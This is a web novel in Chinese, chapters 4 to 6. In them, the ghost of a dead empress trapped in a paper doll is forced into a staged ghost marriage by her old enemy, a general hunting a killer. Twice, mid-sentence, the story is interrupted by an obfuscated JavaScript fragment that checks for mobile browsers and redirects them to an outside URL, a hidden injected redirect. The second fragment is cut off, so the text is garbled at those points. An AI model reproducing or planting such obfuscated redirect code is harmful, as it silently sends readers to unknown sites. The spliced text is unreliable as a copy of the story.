沈今鸾如意算盘打得正响,目光再不惧与他相触,与他对视,对峙。 寂静之中,顾昔潮岿然不动,只按着刀,缓缓出声道: “十年,每年一位女子,应是十座灵位。” 经他一提,沈今鸾眸光扫过去,数了数面前所有的灵位,才发现不对。 若是按这赵羡所说,鬼相公是十年前突然怨气大作,县民自此每年为他献上一女子魂魄成亲,那么该是总共十名女子。 可此处的灵位,从头到尾,竟足足有十九座。 事有古怪,沈今鸾也有几分诧异,余光瞥见顾昔潮从堂前的阴影里朝前迈了一步,利刃出鞘,一下子挑开了破布。 她的面前,最后一块立在暗处的灵位全然露了出来。 只见顾昔潮盯着那最后一樽灵位,寒凉而黯淡的目光像是一点一点灼烧起来。 他身形凝滞,面色越来越阴沉,声音又低又哑,像是压抑着什么情绪: “沈、今、鸾?” 一字一顿,清晰无比地从他薄唇中吐了出来。 听到这个名字,在场稍有知情的军士瞳孔大睁,那、那可是那位已死妖后的名讳。 黑暗里的沈今鸾同样听到自己的名字,双手深深扎进袖口,纸皮扭曲起来,顿时不寒而栗。 此时此刻,她的心头只有一个念头,就是速速逃离。 哪知下一刻,顾昔潮劲臂一抬,精准无误地将那座灵位后头的纸人一把提起,揽在臂下。 同时,另一只手长刀猛然扬起,刀光一闪,竟将本在她面前的那一樽灵位劈成两半。 沈今鸾被碎裂的木片砸了一下,纸皮凹了一小处,她骂骂咧咧地抬眸,无意中瞥见了灵位上的字迹。 一刹那,魂体呆立,颤抖不已。 丹书墨字,一笔一划,刻得正是她的名讳,还有生辰八字。 4. 新郎 赵氏祖宅破旧的正堂里,寒风吹动,微弱的烛焰时不时跳一下,纸人纤薄的袖口闻风拂动。 望着骤然碎裂一地的灵位,沈今鸾目瞪口呆,又惊又气,连魂魄都在微微发颤。 火光惶惶,映得顾昔潮的面色幽深难测。他静立在灵位之前,像是一座冰封的石雕,唯独黑黢黢的目中隐有一丝丝细红,像是渗出了血色。 眼前的顾昔潮,目如阎罗,刀似太岁,竟比这满堂纸人更为骇人: “凭你,也敢供奉她的灵位?” 沈今鸾隐约猜到了,因她当年擅行厌胜之术,声名尽毁,死后不仅无人追思,连供奉她也成了大魏朝的禁忌。 实在没想到赵羡还真有点良心,被迫将几个死去女子的魂魄配给了鬼相公,为求赎罪,真的供起她们的灵位,其中竟然也还包括她的。 奈何,这道士纵使算得出她的名讳,算得准她的八字,又怎知她是堂堂大魏皇后,是顾昔潮恨之入骨的一生宿敌。 晦色不明的灯光里,顾昔潮一步步走近赵羡,幽幽火光照亮他阴沉无比的眉眼,血迹未干的刀锋倏然抵在了赵羡的咽喉。 赵羡猛烈地摇头,脸色煞白,冷汗淋漓,早已把沈今鸾教他保命的话术全忘光了。 “同名同姓的人何其多。”沈今鸾一面暗示赵羡,一面嘲讽笑道,“将军连她的灵位都要拆,供奉她的人都要杀,你是有多恨她?” “是啊,将军定是认错人了,同名同姓罢了。”赵羡不知将军为何如此动怒,只得照着沈今鸾的话拼命找解。 顾昔潮面色无波,只持刀的手微微一僵,忽而利落地收刀入鞘,又将纸人固定在了堂正中的太师椅上。 被安排得明明白白的沈今鸾动弹不得,心底暗骂几句,心有余悸。 方才顾昔潮竟能从数十个形貌雷同的纸人当中,一击即中,一下子挑中了自己。 有那么一瞬,她怀疑他是不是能看到她。 原来只是因为她所对应的那一处灵位,写有“沈今鸾”的名讳,他想要劈裂了而已。 她没想到,顾昔潮竟然在她死后还如此记恨她,毒杀她还不够,连与她同名同姓的灵位都要毁去。 沈今鸾心底仍是发毛,忍不住在男人眼前挥了挥手掌,轻声道: “喂,你能看到我吗?” 顾昔潮充耳不闻,连睫毛都不颤一下,顾自长腿迈开,碾了碾碎裂的牌位木屑,只淡淡地对众人道: “今夜这一桩阴婚未礼成,并不能作数。” 众人看着碎裂的灵位莫名其妙,赵羡最先从惊愕中回过神,慌忙应是。 沈今鸾微微一怔,见那一排灵位上,确实都写了“故妻”二字,原来,这些死去的女子,无论愿不愿意,都是被作为鬼相公妻子祭拜供奉的。 顾昔潮劈裂了灵位,实则是保全了她的身份。 沈今鸾嗤了一声,心道,光砍掉灵位有什么用?若真有鬼相公,她怕是还被那鬼魂惦记着娶为妻子,必须得快点想个办法脱身才好。 “为何,不是十座灵位?” 顾昔潮耐着性子,收了刀,朝着赵羡重复问了一遍。 死里逃生,赵羡在大雪天头顶直冒冷汗,忙对着那一排灵位解释道: “哎,本来这阴婚确是一年一次。可这数月来,不知为何鬼相公又开始在蓟县四处作乱,曾一夜之间连杀了一家三口,活生生的三条人命啊!自此镇上人心惶惶,怕得寝食难安,便开始每月为他办一次阴婚,以求化解他的怨气。” 趁着顾昔潮还在逼问赵羡,不曾留意到纸人,沈今鸾装模作样地敛了敛衣袖,暗地里推搡着纸人。 只眨眼的工夫,纸人失衡,一溜烟从太师椅上轻飘飘地滑落下去,陷入了黑暗之中。 当初和赵羡说好了,第一计不成,他便要掩护她的第二计。她沈今鸾,就算爬,也爬离顾昔潮的身边逃命。 此时机会正好,可惜她魂魄虚浮,就是个半瘫,一面缓慢地挪动着纸人,一面听着头顶传来赵羡的声音: “那些、那些死在鬼相公手中的人死状比之前更是吓人,都是死不瞑目啊……我跟你说有一户人家……” 他滔滔不绝地说着鬼相公之事,仿佛听到院内不少军士时不时倒吸一口凉气,握了握腰间悬着的刀,铿锵轻鸣。 沈今鸾匍匐在地,听到人声渐渐远去,继续前进,纸人在黑黢黢的地面划出一道长长的尘痕。 光线越来越暗,伸手不见五指,纸人无声无息地与周遭融为一体。 吹来的微风也越来越阴寒,她不知动多远,越过了一道破布垂帘之后,便一头磕在什么漆黑坚硬的东西上,撞歪了纸人的头颅。 沈今鸾揉了揉额头,定睛一看,吓得差点魂飞魄散。 竟是一座棺椁。 “啊——” 她纸皮发麻,失声尖叫了一声,又赶紧捂住了嘴。 可她又转念一想,她是鬼魂,除了赵羡,谁能听见她的声音? 然而,只一刻,就有一阵脚步声传来,那块破布帘幕被撩起又垂下,一片明亮的灯火照进来,巨大的光晕照亮了她前面的棺椁,映出一道清瘦挺拔的身影。 黑暗里的沈今鸾心下一沉,不敢再动,凝神屏息,死死闭着眼。 火光在前面停住,不动了。 “这是何处?” 隔着一座棺椁,顾昔潮的声音从对角处传来。 还在正堂里的赵羡犹疑片刻,从袖中掏出一张黄符,待它静静烧尽,才走过来,撩起暗藏的帘幕进来,牙齿打颤道: “都是、都是死于鬼相公之手的人……” 沈今鸾双眼睁开一道缝隙,环顾四处,只能看见堆叠在周围的一座一座的棺椁,交错分布,像是山间的坟头似的,暗沉沉的一片。 怪不得一进赵宅就觉得此地阴气极重,原来停了那么多死于非命的人的尸首。他的祖宅,就是蓟县的义庄。 顾昔潮在这几樽棺椁之间踱步,手中的火杖照了照四处。可他并未朝她这一处走来,像是并没有发现她。 沈今鸾轻舒一口气,忽然听到轰隆一声棺材板落地的响动。 顾昔潮竟是要开棺验尸。 几十座棺盖依次被翻开,轰然震动,几十具尸体齐卧棺中,腐白幽绿。沈今鸾心头发怵,闭着眼,以横斜的棺材板作为掩体,一点一点移动,只想离开此地。 余光里,她看到顾昔潮接过亲卫递过来的火折子,围在棺椁处,朝着棺内细细查看。 她缓慢地在暗处挪动着纸人的身子,听到那几名亲兵探查完,朝顾昔潮禀道: “将军,死者是两波人。凡是前几年死的,额鬓之间,都有类似图腾状的黑纹,被乌发遮掩,不易察觉。他们皆是七窍流血而死,身上查不出任何伤口,也不像是中毒而死。” “但是,最近这数月来死的,虽身上有数道伤口,致命伤皆在咽喉,可以说是一刀致死……看这些伤口,像!真是像极了!正是将军要找的人。” 正在这时,几名军士风尘仆仆从外头进来,撩开帘幕,飞速拂过的衣袍擦着暗处的纸人,直奔向顾昔潮,朝他跪地行礼。 “查清楚了吗?”顾昔潮问道。 “回禀将军,驻守城门的将士都一一审问过了,确实与将军预料的分毫不差。” 一片死寂中,顾昔潮手指蜷起,拇指缓缓摩挲着腰间刀柄斑驳的纹路。生杀之气,溢于言表。 他侧过身,突然问赵羡道: “你方才说,鬼相公死在了崤山。那鬼相公娶亲,你们送嫁的路线,可是自蓟县出发,至关外的崤山?” “正是。送嫁每回都是昏时蓟县出发,子时入崤山,之后亲队就不见踪影了,定是鬼相公将妻子带走,去成亲了……今夜没让鬼相公娶上亲,镇上必将人心惶惶,定是又要闹起来了,该如何是好啊?” 赵羡愁眉苦脸,哀叹连连。另一头,沈今鸾不顾一切,往外爬去,眼看正堂的门口近在眼前,马上就可以逃离此地了。 忽然听顾昔潮说道: “娶亲不成,鬼相公必要作乱。为边境安定,骆雄来助你,明日便再办一次阴婚,抚慰人心。” 那名叫骆雄的大胡子军士抬头,犹疑道: “将军,这、这里真有鬼相公啊?” “鬼神之说,虚无渺茫。”顾昔潮摇头,双眸掩着深深的倦惫,“人心,才最是凶恶难测。” 他覆手在背,看了一眼外头渐白的天光,目光扫向怔忪的赵羡,道: “今日黄昏,礼成。” 干脆利落,不容置喙。 赵羡不明就里,显然是愣住了,“啊”了一声,道: “可是,哪里来的新嫁娘啊?” 当下,静默了半刻有余,只余帘幕“呼呼地”吹动。 已爬出数十步远的纸人突然动作一滞。沈今鸾心下一沉,只觉重重棺材之后,一道幽深的视线穿过黑暗,望向了自己。 与此同时而来的,还有满堂军士的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280950|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,正齐刷刷地投向了那个死瘫在地上的纸人。 紧接着,沉定的脚步声一步步走来,逼近。 灯火已在头顶照下,沈今鸾两眼一黑,纸人已被一双劲臂轻而易举地提了起来, 顾昔潮将她又放回了正堂的太师椅上。 “将军的意思是……又要用这同一个纸人,办一场阴婚嫁给鬼相公?”赵羡的声音带着颤,进退两难。 沈今鸾瞪大了双眼,亲眼看到顾昔潮微微颔首,应了下来。 一刹那,她怒火中烧,差点要掀翻纸人的天灵盖。 顾昔潮这厮阳奉阴违,刚劈完她的灵位,竟敢又把她往火坑里推! 她堂堂大魏皇后,被他毒杀也就算了,成王败寇而已;成了孤魂野鬼也罢了,算她离经叛道,自作自受,得不到世人香火供奉。 可她都死了,魂魄还要被他这个死对头再欺负一遍,卖给什么鬼相公成阴婚。 有那么一瞬,沈今鸾怀疑,顾昔潮是不是早就发现了她,所以是在伺机报复于她。哪有什么比出卖仇人的魂魄用作阴婚更恶毒的手段,更能让他痛快的法子? “顾昔潮,你、你卑鄙小人!无耻之尤!”她壮着胆子,肆无忌惮地开始怒骂。 正要走出正堂的顾昔潮脚步一滞。 却没有回首,大步走入日光之下,大雪之中,鬓发凝了一缕细细的白霜。 …… 沈今鸾被迫端坐在太师椅上,坐如针毡,不住地巡视四面八方,试探寻求脱身之法。 说来奇怪,那些军士们不到一个时辰,竟然全撤出了赵氏祖宅,顾昔潮也不知去了哪里,一直不曾露面。 待日头偏西,已近日暮。赵宅进来同一批喜婆轿夫和抬棺人,麻利地又操办起喜丧来。 院子正中,一座簇新喜轿,红绸白幡,旁边又是一座新制的棺椁,漆光发亮,只是那棺材板微微开了一道缝。 待沈今鸾再看之时,那道缝已不见了,棺材又严丝合缝地合拢了。 她揉了揉眼,只道自己是看错了。 “吉时到——” “起轿!——起棺!——” 满面红光的喜婆扭着身子,将纸人从太师椅上扶了起来,粗鲁地给她套上喜帕,送入喜轿之中。 “敬山道人?敬山道人?”沈今鸾无可奈何,连声唤道。 赵羡起初不敢应答,心虚不已,后来实在于心不忍,心中有亏,只得应了她一声: “这、这是将军的意思……我就一条命,我也没办法啊……” 这一日来,他夹在一人一鬼中间,无论站哪边都觉得项上人头危矣。 沈今鸾除他以外再无人可以求助。既然这道士敬酒不吃吃罚酒,她只能端起威仪来,盯着他,郑重地道: “我乃大魏皇后,你今次若不救我,我必要将你千刀万剐。” 赵羡一听,撩了撩道袍就差跪下来,道: “你你你,你不过一孤魂野鬼,我虽对不住你,也给你立了牌位赎罪了。这人可不兴说,说了可是要掉脑袋的!” 熟悉的唢呐声又吹响起来,纸糊的喜轿摇摆不定,纸人在轿内身不由己地晃动,如同在绝望的浪潮中翻涌逐流,找不到出路,只能被淹没。 “鬼相公娶了新娘就安生了,我们就能活命了!” 喜轿外传来蓟县众人的欢呼声,好似献祭了她的魂魄,就能换来一世平安。 “慢着。” 喜轿将要被抬出大门之时,一道颀长的身影步入院中,一众手执火杖的铁甲军士跟在身后,大片熊熊的明光照亮了四野暗处。 “顾将军?”人群中有人认出了来人。 沈今鸾心神一震,掀起眼皮,隔着珠帘看到顾昔潮带着那一帮亲兵堵在了院墙门口。 “顾将军,吉时已到,喜丧开场,我们将新嫁娘送出城去,嫁给鬼相公去!” 顾昔潮一振袖,仗刀而立,冰冷眸光扫过在场所有人,淡淡道: “我是说,要再办一场阴婚,但我何时说过,新郎是鬼相公?” 蓟县民众们瞪大了眼,四处相望,道: “那新郎是谁?” 在神色各异的目光中,顾昔潮掠过一重又一重的人潮,直直走向那一座大红喜轿的纸人。 山风潇潇,火光幢幢,照亮了他一身赤红长袍,与纸人身上的嫁衣遥遥相映,珠联璧合。 在场所有人顿时大惊失色。 他、他他他竟是要自己做新郎! 5. 拜堂 暮色低低压下来,挤尽了最后一抹日头,堕入巷尾檐边。小小的边陲蓟县正要沉入将夜的昏暗之中。 风雪沉寂,一切人语声戛然而止。赵氏祖宅一时静得落针可闻。 梁上昨夜的白灯笼已经撤去,换上了鲜艳的大红灯笼,在寒风中窸窸窣窣打着旋,灯笼的纸皮上,一个硕大的“囍”字格外刺目。 同一批披红戴绿的喜婆、傧相、抬棺人站成一排,立在院中,像是被什么人胁迫来的,同样瑟瑟发抖,面色发白,如同白日活见了鬼。 沈今鸾在喜轿中一动不动,茫然环顾。 足有半晌,她的目光还一直停留在那个身着喜服的男人身上。 只因,这一身明艳的朱红,莫名唤起了她对他些许遥远的记忆。 说起来,顾昔潮这个人,出身京都名门,锦绣堆里养出来的富贵公子,五陵少年,锦帽貂裘,全无杂色,华贵无双。 更不必说后来一战成名,是京都最是风头无量的少年将军,最后成了一身朱紫大缎的天子近臣,极盛之时权倾朝野,一人之下,万人之上。 可无论是少时意气风发的顾家九郎,还是那个与她朝堂斗法的顾大将军,都似乎与眼前之人截然不同了。 自从在北疆见到顾昔潮,他身上一直是一袭毫无纹饰的玄青劲袍,衣角已泛起了灰白的毛边。大氅上的裘毛也稀疏不匀,色泽杂乱,不知已穿了多少年,历经北疆多少风霜雨雪。 尤其,他整个人凝着一股无名的压抑和严肃,阴沉沉的,像是被云翳久久笼罩。 怪不得,当时京中盛传,顾昔潮早已死在了北疆。 而亲手用毒计将他送走的沈今鸾,夜深人静之时,一遍遍凝视他留下的朱紫朝服,心头恨意难消,只道他就这样死在北疆,真是便宜了他。 今夜,顾昔潮却褪去了沉闷而破旧的玄袍。一身赤红喜服反倒衬得他的眉宇更为冷厉,卸甲后的身姿高瘦清俊,犹带霜雪,如同一道寒芒在幽夜中照尽无边黑暗。 哪怕隔着一头喜帕,只可见一道侧影,她都能在重重人影中认出他来——正如昔年金銮殿上,她遥望泱泱群臣,总能一眼看见他的身影。 此刻,那道身影正向她走来,每近一步,他身上的赤红便越是浓烈一分,渐渐与记忆中重合。 本来,喜轿里的沈今鸾亦如当年那般端庄雍容。 直到顾昔潮在喜轿立定,她才从巨大的懵怔中回过神来,素来从容的神态难得流露出一丝慌乱。 他竟是要找她这个纸人拜堂成亲! 无论生前死后,沈今鸾这辈子都没这么害怕过。 “你、你可知你在做什么?” 人群里的蓟县族老们同样地震惊万分,慌忙站了出来,重重敲了敲拐杖,指着顾昔潮怒骂: “顾将军,这是鬼相公的人!你竟敢动鬼相公的人,此是逆天而行啊!……” “我偏要逆天而行。” 面对千夫所指,顾昔潮冷峻肃杀的面上微微一动,竟是笑了一声: “你们不是说,顾某前日坏了鬼相公的婚事,会遭报应,可这一日来,顾某安然无恙,毫发未损。” “那我便好奇一回,若我直接强娶,那位鬼相公,该拿我如何?” 语调轻浅,尾音低哑,扬起的唇角犹似挑衅。 顾昔潮不过寥寥数语,沈今鸾已将他这一场戏彻底看破。 顾家九郎自小师承京中大儒,子不语怪力乱神,他当初就从来不信什么鬼神之说。今日亲自办一场大逆不道的阴婚,是要借此在光天化日之下,引出那一位害人不浅的鬼相公。 可她唯独不明白的是,顾昔潮老谋深算,心思缜密,又一向做戏做足全套。 而她低头瞧了瞧自己。身上的纸嫁衣是一层层剪纸拼凑而成,裙裾不平整地耷拉着,颜色没涂匀,留了几寸诡白。更不必说背后曾被火星子烧秃了几个窟窿,是用黄符纸补全的。 赵羡那里这么多全新的纸人,他为何偏偏要拿她这个破烂寒碜的做新娘? 沈今鸾百思不得其解。唯一勉强说得通的缘由,是因为她这个纸人昨夜藏在那一块刻着大魏皇后名讳八字的灵位后面,他便要伺机报复。 定是如此了。果然,和她稍有关系的东西,顾昔潮都想迫害一遍,恨不能全部毁掉。 沈今鸾气得心头一阵发凉,恨不能真有鬼相公这种厉鬼出现,当下就将顾昔潮大卸八块,碾作齑粉才好。 蓟县那群宗族长老们同样十分不甘,又大声恫吓他道: “鬼相公,定会来找你索命的!你、你难道就不怕吗?……” “怕?”顾昔潮覆手在背,眉峰一挑,端的是丰神冷俊,容止轻狂,“我怕是求之不得。” “纵使这世上真有鬼魂,顾某倒想看看,生前尚不能耐我何之人,死后化鬼,又将如何报复于我?” 这一句,纸人里的沈今鸾听得脑袋轰然一炸。她忍不住觉得,顾昔潮这话似乎是意有所指。 说的就是她沈今鸾。 生前,她没能彻底置他于死地,死后,她被困这破烂纸人里,还要被迫和他这死敌拜堂。 天穹混沌,大片的游云被暮色撕裂,如同虚幻泡影。最后一缕日头渐渐沉下,凛冬远山的阴影全然遮蔽了日光,苍茫暗夜已至。 “吉时已到,拜堂!” 所有人倒吸一口凉气。 呆立不动的喜婆被这一声喝吓得回魂,连滚带爬奔向喜轿。纸人里的沈今鸾面色铁青,被喜婆扶着,迎出了轿子,只觉这身纸皮有千斤巨石般的重。 还没走出几步,纸人便被一只黑红相间的袍袖轻轻揽了过去。 周遭无数道惊愕的视线之中,顾昔潮径直掠过了瘫倒在地的喜婆,亲自领着她,一步一步走入正堂。 正堂的供案之上,整整齐齐燃着儿臂粗的血色喜烛,烛火无风摇动,如在震怒,如在调笑。 傧相脸色惨白,开始唱腔,尾音止不住地颤: “一拜天地——” 寒鸦惊飞四散,黑压压的层云笼罩灰霾天色。 天地见证,她和顾昔潮一世为仇,她人都死了,他竟还不放过她的魂魄,要拉她拜这鬼堂。 沈今鸾被男人覆在她颈后的力道压着,虽然轻柔万分,但是不可抗拒,只得不情不愿地朝天点下了头。 “二拜高堂——” 正堂的太师椅上,坐着一对年纪稍大的纸人,衣着华贵,体态臃肿,一双血盆大口咧开来,笑得仿佛要吞噬掉面前的新人。 万象诡异,危机四伏,仇敌在侧,沈今鸾却是心头一动,神思恍惚了一下。 她莫名想到,她和顾昔潮都是幼年失恃,少年失怙,都已在这世上没了双亲。她初入京都之时,曾与自小没了娘亲的他短暂交好,正是因为这一种同病相怜。 那几年,二人也曾形影不离,无话不说。 可后来,如何就成了仇深似海的宿敌了? 到此刻,又怎么成了一对阴婚的新人了? 高堂之上,还有家族。沈氏和顾氏之仇,不共戴天。 面对高堂,犹如面对列祖列宗,沈今鸾身躯一拜下去,无限愧意涌上来,只觉肩背如有一座山似的沉重难耐,压得她寸步难行,只得低下头去。 荒唐至极!可更荒唐的还在后面。 “夫妻交拜——” 呸呸呸,谁要和顾昔潮做夫妻,今日是一时情急做的戏,绝对不能算数。沈今鸾咬着牙暗自念叨,咬得纸皮咯咯作响。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280951|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二人面对面,俯下身去,她不得不直视顾昔潮的脸。 这一角度,男人的侧颜俊美无俦,举止一派温情脉脉,倒是像极了一个得体的如意郎君。 这样的容貌,即便是当年正向他递上鸩酒的皇后沈今鸾,也忍不住心生感慨,真是一副极好的皮囊。 喜帕被风吹开几许,她游离的视线又撞入了对面顾昔潮的眼。 那双眼幽深难测,平日里犹如薄刃覆雪,只一眼,便足以叫人心惊胆寒。这一瞬间,却有一丝说不出的温柔。 这种眼神,她太熟悉了,正是昔日金銮殿上,丹陛阶前,大将军冷眼望着皇后的神态,似笑非笑,像是恨极反笑,又像是某种说不清、道不明的情绪。 沈今鸾忆起往昔,心头一惊,身形不稳,一个趔趄向前倒去。 一双手稳稳扶住了纸新娘。不经意之间,她的手一寸一寸拂进男人的袍袖,活人独有的温热渗入纸皮,她却像被烫到了一般缩了回去。 顾昔潮喜服的袍袖之中,她摸到了什么坚硬的铁片,绑在他劲腕上,仔细一想,应是他的箭袖。 沈今鸾毛骨悚然,犹疑地抬眸望向身旁的男人。 这一眼,看得她触目惊心。 顾昔潮八风不动,行礼的动作缓慢,显得极为郑重。只微微敞开的吉服里,偶尔露出一角黑漆漆的甲胄,还有那柄紧悬腰际的雁翎刀,寒光凛凛。 什么人成亲还穿甲携刀啊。 尤其是,男人那握刀的手,指节瘦长,青筋隐伏,蓄势待发,像是随时要出鞘杀人,捅她一刀。 顾昔潮究竟要在这场阴婚里对她做什么? 纸人里的沈今鸾顿时涌起不祥的预感,魂魄颤动,挣扎了一下,只想要掀开盖头走人。可只不过抬了一下虚空中的手腕,纤薄的纸皮已被身旁之人轻轻攥住。 她警觉地撩起眼皮,不甘被他摆布,透明的手暗地里伸出了纸皮,探入了男人的襟口处。 襟口,几近心口。 她倒要看看,他那颗乌漆墨黑的心脏还在不在。 她可是死不瞑目的恶鬼,一身凶煞阴气,虽暂时杀不了他,至少能压得他喘不过气来,不敢对她轻举妄动。 男人如有感应,眸光下移,沈今鸾心一横,闭上眼,魂魄软飘飘下去,纸人便顺势倒在了男人胸前,掩住她刺探他心口的动作。 余光里,顾昔潮唇角微微一扯,颇有几分玩味,袍衫拂动一下,无声无息地掩住了藏匿在侧的杀器。 他削薄的口型分明是用唇语吐出了两个字: “别动。” 别动?他是怎么看到她魂魄动了的?!沈今鸾大骇,紧绷的纸皮炸裂开来,彻骨的凉意一点点爬升至天灵盖。 沈今鸾闭了闭眼,带着凛然赴死的决心,由着那双修长有力的手继续牵着纸人。 烛火的虚影里,映出一双身着喜服的新婚夫妻,似幻似真,栩栩如生,宛若天作之合。 谁又能知,如此悱恻的表象之下,藏着相搏相杀之心,像是隐匿暗处的毒蛇,伺机要咬对方一口,鲜血淋漓才好。 沈今鸾的纸人攥着他的心口,顾昔潮反握住她的双腕,两两制衡,不得解脱。 然而,如此吊诡的姿势,在周围人眼里看来,只是高大的男人环着娇小的纸人,新郎拥着新娘。 傧相不敢再看,紧闭起眼,适时地唱出一声: “新郎新娘,送入洞房——” 什么?这场戏还有洞房?沈今鸾一惊,正要挣扎,顾昔潮劲臂一收,突然搂紧,已将她横抱起来。 “得罪。”他低语沉沉,冰凉如水的眸光凝视着空洞无物的纸人,如同在看一个仇深似海的敌人。 又像是在看一个失而复得的爱人。 6. 开棺 有那么一瞬,沈今鸾心绪沉浮,仿佛就是要被这样的目光溺死。 男人的怀抱沉稳有力,纸人纤细脆薄,无论她的魂魄如何躁动,都纹丝不动。 可是赵氏祖宅里哪有什么洞房可言,她举目望去,雪地里人群伏地,最后只剩那一座孤零零的漆黑棺椁。 难道,这座棺椁便是她和顾昔潮的洞房? 沈今鸾睁大了瞳仁,魂魄差点就要吓得出窍。 这哪是什么洞房,分明就是礼成之后,封入棺中。 不知是不是由于太过惊恐双眼昏花,她仿佛看到那块厚重的棺材板,似是动了一下。 “生同衾,死同穴——开棺!” 夫妻合葬,死后同穴。 喜丧不成文的规矩,死者纸人先行入棺,生者死后再合棺。 死后,魂魄曾一度被困在永乐宫那口暗无天日的棺椁里。如今,她一看到棺材板,就莫名地恐惧。 这一句“开棺”,是真真切切地拿捏住了她的软肋,甚至比和顾昔潮入洞房、死同穴这个下场更为令她心惊胆寒。 向顾昔潮求饶是不可能的,生前死后都不可能求饶的。 天色越来越阴沉,赵氏祖宅沉入一片晦色,暗得仿佛没有尽头。唯有几支火杖在夜色中燃烧,映照出一张张惊慌失措的人脸,哭天抢地,肝肠寸断。 其中一抬轿的人手指颤巍巍地指着那棺椁,惊慌失措,大叫道: “昨日鬼相公的阴婚未成,今日我眼见着这喜丧成了,以为这回能顺顺利利了。岂料中途竟被顾将军不分青红皂白拦截下来。真是造孽啊!鬼相公不会放过我们了!” 纸人黑洞洞的双目被火光照得一亮,沈今鸾血色的眼尾勾起。 此地,此时,可不止就她一个惧怕这口棺材。她还有一批天然的盟友,虽然愚不可及,但胜在人多势众。 蓟县这群人既然可以对鬼相公俯首帖耳,自然也可为同是鬼的她利用一番。 今日,她要利用这些人,和顾昔潮再斗一次法! 无人所见处,纸新娘单薄的纸皮袖下,突如其来的阴风席卷天地,愈来愈烈,犹如自地府崩腾而来,不辨碧落与黄泉。 风声如同凄厉鬼哭,蓟县的宗族众人已然反应过来,察觉到四周的异样。 定是鬼相公要来了!因为顾将军要当众掀开鬼相公的棺材,定是惹得他发怒,要来找他们算账来了! 就在顾昔潮和众亲兵走向那座密闭的棺材的时候,蓟县人群登时抱成一团,潮水一般地涌向了棺材,将那口棺椁团团围住,百般阻挠,不让士兵触碰分毫。 “我们置办这一套棺材,是想鬼相公和他娘子入土为安,不要在蓟县作乱。今日是鬼相公娶亲,你强抢了他的新娘也就罢了,若是这是要掀了他的棺材板,必要惹得他怨气大增,又要来找我们索命了啊!” “是啊,我们好不容易想得一个法子可以自保,顾将军,我们一向敬重你的为人,你这样是要害死我们全县人吗?” “你要开棺,除非从我尸体上跨过去!” 哭声震耳欲聋,气氛剑拔弩张,越来越多的人涌入院中,还有人朝他们扔烂菜叶和碎石子,还有不要命一般地去夺军士们手中兵器,拼死顽抗。 带刀甲兵面对民众围逼,一个个握紧了刀却不敢轻举妄动,牢牢守在喜轿和棺椁四面,满头是汗,情势陷入了僵局。 纸人里的沈今鸾翘起了二郎腿,开始看戏。 她幼时在父兄身边长大,深知大魏北疆宗族势力庞杂又专制,素来极难治理。 即便顾昔潮心狠手辣,视人命如草芥,他的亲兵也不会冒然对这群手无寸铁的平民动手。如此她狐假虎威,够拖他好一阵了。 “让我说,根本没什么鬼相公杀人索命!” 忽有一道清亮的声音从纷乱的人群中传来。 是个青年,像是忍了许久,面颊绷得通红,声音微微带着颤,像是用尽毕生所有气力说道: “我们之前送出城的那些棺椁和喜轿,并不是凭空消失,被鬼相公带走,而是坠入崤山的山谷里了。我偷偷跟去看过,送亲的那条山路尽头,就是一处崖口。” 当下就有人反驳道: “你在说什么胡话啊,我们不是都亲眼看见过鬼相公杀的人么?这些年无缘无故死的人还少吗?唯有让他消停下来,我们才能活命啊!” 那青年垂下了头,一旁默不作声的赵羡却突然壮着胆子道: “死在鬼相公手里的乡亲,县里的仵作从不敢验尸。可昨夜将军带我探查过了,那些人,分明是刀剑毙命,是活人所为,不是什么鬼杀人!我家祖传道术,认得鬼杀人的尸体,根本不是那样的!” 一石激起千层浪。人群里又一个青年站了出来,握紧拳头,高声道: “当初是顾将军带着亲兵,不计生死地从雪灾里救出我们。没有他,多少人早就冻死在雪地里了。他怎么会害我们呢?!” 数月来北疆大雪,这位顾将军带兵救灾,深得蓟县民心。此人语罢,后头几名早就愤愤不平的青年挺身而出,齐声道: “就算真的有鬼相公杀人索命,我们全县有上百人,鬼相公有这个本事,今日一下子杀了我们所有人吗?” “我们早受够了鬼相公这套说辞!我们活在世上,还能怕一个死了许久的鬼魂不成!” 少年意气,一呼百应,年纪大的族老们拦也拦不过来,声音都淹没在这一片震天撼地的高喊声中。 沈今鸾攥紧的衣袖挥动不起来了。 她没想到,她还低估了顾昔潮,他在北疆这些年,虽比京都不知落魄了多少,倒是笼络了一大片人心。 顾昔潮负手而立,赤色衣袂在暗色中拂动。他缓缓越过无尽人潮,望向那个纸人,神容沉静,朗声道: “人,我娶了,大家亲眼所见,鬼相公也根本不曾现身。你们还以为,这世上真有什么鬼相公吗?” 死寂之中,一名老妪尖声道: “呵,顾将军真会说风凉话,你开了棺,就离开了蓟县。你走后,万一鬼相公找上门来,我们今后可怎么办?” 顾昔潮慢慢抬起头,忽将手中的雁翎刀刺入积雪之中。 人群大气不敢出。 紧接着,顾昔潮从赵羡手中接过一张早已备好的青黄符咒,咬破手指,以鲜血代替朱砂,郑重书写表文,不疾不徐。 “今日娶亲、开棺,皆是我顾昔潮一人所为,若这世上真有鬼相公,冤有头,债有主,报复我一人便是。” “今以血书为证,所有报应,全全落于我顾昔潮一人身上,千秋万代,皆与在场诸位无由。” 而后,他手持黄符,一一示予在场众人,最后再投入香炉之中熊熊燃烧,化作一缕青烟散去。 烈风中,顾昔潮袍袖飞扬,视线一一扫过一众族老和青年,目光所及,无人再出声反对。 